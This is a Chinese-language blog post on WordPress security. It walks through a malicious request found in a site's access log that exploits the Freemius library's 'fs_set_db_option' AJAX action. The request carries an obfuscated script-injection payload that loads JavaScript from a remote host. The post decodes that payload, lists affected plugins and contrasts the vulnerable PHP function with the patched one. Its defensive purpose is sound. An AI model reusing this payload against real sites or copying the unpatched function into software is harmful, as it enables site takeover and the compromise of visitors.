作为博客、论坛、或者电商网站等的博主,相信大家都知道, wordpress是世界上创建网站最简单的平台,他有及其丰富的插件功能。让你的网站运行效率更加完善。但是这样多的个人用户或者商家使用它,必然给黑客带来了很好的研究对象,这样就让黑客更加专注于对你的wordpree网站进行恶意的访问和分析你网站的漏洞。目的是为了获取你的用户信息,或者获取你用户信用卡信息,这是非常可怕的事情。那么我 们如何使我们的网站更加安全呢?
此篇文章是由SKY8G网作者进行编辑,禁止抄袭,违者必究,如有分享请注名来源:https://www.sky8g.com/technology/2947/
WordPress网站分析漏洞
首先,我们一定要养成常看网站日志的习惯,这样可以及时发现漏洞避免不必要的损失。一般情况我们所使用的web服务器通常为三种。
- 第一种是Apache服务器。
- 第二种是Nginx服务器。
- 第三种是大型公司自己的开发服务器,例如
12345678910111213今天收集了几个大网站所使用的web服务器,每个网站都使用几种web服务器,有的是开源的有的是自己开发的。网站 url Server谷歌 http://www.google.com.hk/ gws,sffe百度 http://www.baidu.com/ BWS/1.0,Apache新浪 http://www.sina.com.cn/ Apache,MediaV/0.1.54,nginx搜狐 http://www.sohu.com/ Apache/2.2.4,SWS,nginx网易 http://www.163.com/ nginx,Apache/2.0腾讯 http://www.qq.com/ squid/3.0,cws/3.1淘宝 http://www.taobao.com/ Tengine,Apache,nginx京东 http://www.360buy.com/ JDWS,Apache雅虎 http://cn.yahoo.com/ YTS/1.16.0图都 http://www.tudou.com/ tws0.3,nginx/0.7.59迅雷 http://www.xunlei.com/ nginx/0.7.69
当然再好的服务器也不一定没有漏洞,所以网站的安全至关重要。查看网站的访问日志、错误日志、ssh登录失败日志登录,经常查看。这里不再介绍如何查看日志,自己可以通过百度和谷歌进行查阅。
WordPress网站发现漏洞
只要我们勤于看日志,总结分析日志通常会使网站健康安全运行。当然如果你不是专业的运维人员或DBA的话也不一定做到每天观看日志,对于我来说就不能天天看日志了。今天我突然查看了日志,讲过查看访问本网站的IP有一个恶意的访问,并且试图破坏我的网站,如下:
1 2 | 访问的时间和访问的url xxx.xxx.xxx.xxx - - "GET //wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=fonts&option_value=<script async=true type=text/javascript language=javascript>var nt = String.fromCharCode(57);var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);</script> HTTP/1.1" 301 162 "http://sky8g.com/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=fonts&option_value=<script async=true type=text/javascript language=javascript>var nt = String.fromCharCode(57);var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);</script>" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" "-" |
于是看到这个url非常的异常,通过分析竟然是一段脚本短码及时黑客利用wordpress漏洞进行攻击的恶意js代码。于是经过浏览器javascript console.log()进行解析如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 | var nt = String.fromCharCode(57); var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114); var sb = String.fromCharCode(115, 99, 114, 105, 112, 116); var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116); var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61); var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0]; console.log(nt); console.log(mb); console.log(sb); console.log(jb); console.log(tb); console.log(lb); |
输出如下:
1 2 3 4 5 6 | 9 VM1380:9 ajaxCounter VM1380:10 script VM1380:11 https:// VM1380:12 text/javascript VM1380:13 greatfacebookpage.com/dlto.js?t=p&a= |
完整的url为:
1 | https://greatfacebookpage.com/dlto.js?t=p&a=9 |
经过查看这是个js脚本代码。这段代码有着破坏网站的行为,这将允许任何有权访问WordPress帐户的人接管网站,并且是黑客过去曾试图广泛利用的漏洞类型,因此可能存在大量漏洞因此而尝试他可以创建在你的网站创建用户,此用户有着超级管理员权限这是非常危险的。所以我们需要解决这个问题,他是利用我们wordpress中第三方库的class-freemius.php 这个库函数在你没有更新之前有一个漏洞。
受影响的Wordpree插件
(2019年3月8日更新)
- 404 to 301 (Fixed) – 100,000+ Installs
- Ad Blocker Notify Lite (Unfixed as of 2.2.3) – 10,000+ Installs
- Better Notifications for WordPress (Fixed) – 20,000+ Installs
- BuddyForms (Fixed) – 3,000+ Installs
- Coming Soon Blocks (Coming Soon Page and Maintenance Mode for WordPress Block Editor) (Fixed) – 40+ Installs
- Contact Form 7 Multi-Step Forms (Fixed) – 20,000+ Installs
- Contact Form 7 Skins (Fixed) – 30,000+ Installs
- Content Aware Sidebars (Fixed) – 40,000+ Installs
- Delete Duplicate Posts (Fixed) – 10,000+ Installs
- Easy Watermark (Fixed) – 30,000+ Installs
- Final Tiles Grid Gallery (Image Photo Gallery Final Tiles Grid) (Fixed) – 30,000+ Installs
- FooBox Image Lightbox (Fixed) – 100,000+ Installs
- FooGallery (Fixed) – 100,000+ Installs
- Glossary (Fixed) – 1,000+ Installs
- Ivory Search (Unfixed as of 4.2) – 20,000+ Installs
- Livemesh Addons for Beaver Builder (Fixed) – 2,000+ Installs
- Livemesh Addons for Elementor (Unfixed as of 2.5.2) – 50,000+ Installs
- Livemesh Addons for WPBakery Page Builder – (Unfixed as of 2.5.1) – 20,000+ Installs
- Livemesh SiteOrigin Widgets (Unfixed as of 2.5.1) – 30,000+ Installs
- Mobile Menu (WP Mobile Menu) (Fixed) – 50,000+ Installs
- NextGEN Gallery (Fixed) – 900,000+ Installs
- Popup Maker (Fixed) – 300,000+ Installs
- Post Snippets (Fixed) – 30,000+ Installs
- Remove WP Update Nags (Fixed) – 60+ Installs
- Salon Booking System (Fixed, but originally most recent venison 3.28.3, was vulnerable) – 5,000+ Installs
- Smart Variations Images for WooCommerce (Fixed) – 3,000+ Installs
- Stop User Enumeration (Fixed) – 30,000+ Installs
- Widgets for SiteOrigin (Unfixed as of 1.4.2) – 40,000+ Installs
- WooSquare (Fixed) – 1,000+ Installs
- WP Affiliate Disclosure (Fixed) – 100+ Installs
- WP fail2ban (Fixed) – 30,000+ Installs
- WP Security Audit Log (Fixed) – 80,000+ Installs
请尽快更新的你插件漏洞,以便你网站安全运行。
更新WordPress网站漏洞
我们现在已经回顾了1000个最受欢迎的插件,发现很多使用这个库,如下所列,其中很多还没有发布固定版本。在我们发现了这个漏洞我们就要进行修复或者更新漏洞,目前GitHub上Freemius 已经更新了此库函数,更新时间为2019年6月5日。更新的步骤代码为如下图:
原来 的代码如下,在2828行到2848行之间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ static function _set_db_option() { $option_name = fs_request_get( 'option_name' ); $option_value = fs_request_get( 'option_value' ); if ( ! empty( $option_value ) ) { update_option( $option_name, $option_value ); } self::shoot_ajax_success(); } |
更新为代码如下图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | static function _set_db_option() { check_admin_referer( 'fs_set_db_option' ); $option_name = fs_request_get( 'option_name' ); if ( ! is_super_admin() || ! fs_starts_with( $option_name, 'fs_' ) ) { self::shoot_ajax_failure(); } $option_value = fs_request_get( 'option_value' ); if ( ! empty( $option_value ) ) { update_option( $option_name, $option_value ); } self::shoot_ajax_success(); } |
这样就避免了黑客利用这一漏洞进行恶意访问你的网站了。如果喜欢我们的文章就点击右边栏订阅吧。